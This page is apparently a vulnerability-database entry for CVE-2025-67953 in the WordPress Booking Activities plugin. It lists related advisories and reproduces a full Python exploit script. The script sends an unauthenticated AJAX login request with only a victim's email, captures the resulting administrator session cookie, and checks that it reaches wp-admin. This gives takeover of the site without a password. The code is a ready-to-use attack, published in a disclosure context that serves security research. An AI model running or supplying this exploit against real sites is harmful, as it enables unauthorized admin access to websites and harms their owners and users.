Lucene search
+L

📄 WordPress Booking Activities 1.16.43 Authentication Bypass

🗓️ 21 Jul 2026 00:00:00Reported by Alejandro RamosType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 20 Views

Unauthenticated login bypass in Booking Activities 1.16.43 grants admin access without password.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2025-67953
22 Jan 202616:51
attackerkb
Circl
CVE-2025-67953
29 Jan 202621:23
circl
CNNVD
WordPress Plugin Booking Activities has a security vulnerability
22 Jan 202600:00
cnnvd
CVE
CVE-2025-67953
22 Jan 202616:51
cve
Cvelist
CVE-2025-67953 WordPress Booking Activities plugin <= 1.16.44 - Privilege Escalation vulnerability
22 Jan 202616:51
cvelist
EUVD
EUVD-2026-4029
22 Jan 202616:51
euvd
NVD
CVE-2025-67953
22 Jan 202617:16
nvd
Patchstack
WordPress Booking Activities plugin <= 1.16.44 - Privilege Escalation vulnerability
20 Jan 202611:54
patchstack
Positive Technologies
PT-2026-4033
22 Jan 202600:00
ptsecurity
RedhatCVE
CVE-2025-67953
23 Jan 202621:17
redhatcve
Rows per page
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Booking Activities <= 1.16.43 - Unauthenticated Authentication Bypass (Login Without Password)
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <[email protected]> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/booking-activities/
    # Software Link: https://downloads.wordpress.org/plugin/booking-activities.1.16.43.zip
    # Version: 1.16.43 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2025-67953
    """
    Booking Activities <= 1.16.43 registers the unauthenticated AJAX action bookactiSubmitLoginForm
    (controller/controller-forms.php:858 wp_ajax_nopriv_bookactiSubmitLoginForm ->
    bookacti_controller_validate_login_form) with NO nonce / CSRF check. When login_type=my_account and
    the target booking form's login field is configured with password NOT required
    (required_fields[password] empty), bookacti_validate_login() looks the account up by email/login and
    SKIPS wp_authenticate entirely, then bookacti_log_user_in() calls wp_set_auth_cookie() for that user:
    
        1457 $user = get_user_by( is_email($user_login)?'email':'login', $user_login );
        1467 else if($require_authentication){ wp_authenticate(...); }   // SKIPPED when password not required
        ...  wp_set_auth_cookie($user->ID, true);                        // full session as the target
    
    An unauthenticated attacker submits the login form with the victim's email (e.g. the administrator's)
    and NO password, receiving a valid administrator session cookie -> full account takeover.
    
    Prior state: plugin active + a booking form whose login field has password NOT required and
    login_type 'my_account' available (a "retrieve my booking by email" style form). This is a saved
    form setting read from the DB (not attacker-toggleable), so the victim site must be configured that
    way. setup_state.sh builds such a form.
    """
    import argparse, sys
    import requests
    requests.packages.urllib3.disable_warnings()
    
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--form-id", default="1")
        ap.add_argument("--victim", default="[email protected]", help="victim email or login")
        args = ap.parse_args()
        base = args.target.rstrip("/")
        s = requests.Session(); s.verify = False
        d = {"action": "bookactiSubmitLoginForm", "form_id": args.form_id, "login_type": "my_account",
             "email": args.victim, "remember": "1"}
        r = s.post(base + "/wp-admin/admin-ajax.php", data=d, timeout=25)
        logged = any(c.startswith("wordpress_logged_in") for c in s.cookies.keys())
        print(f"[*] Target: {base} | form {args.form_id} | victim: {args.victim}")
        print(f"[*] login (no password) -> HTTP {r.status_code} | logged_in cookie: {logged}")
        print(f"[*] response: {r.text[:160]}")
        if not logged:
            print("\n[-] no session cookie (form password-required? wrong form-id/email?)"); return 1
        p = s.get(base + "/wp-admin/", timeout=20)
        if p.status_code == 200 and "dashboard" in p.text.lower():
            print(f"\n[+] AUTH BYPASS CONFIRMED — unauthenticated caller now holds the victim's session "
                  f"and reached wp-admin (no password supplied).")
            return 0
        print(f"\n[-] cookie set but wp-admin not reached ({p.status_code})"); return 1
    
    
    if __name__ == "__main__":
        sys.exit(main())

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Jul 2026 00:00Current
5.4Medium risk
Vulners AI Score5.4
CVSS 3.18.1
EPSS0.00338
SSVC
20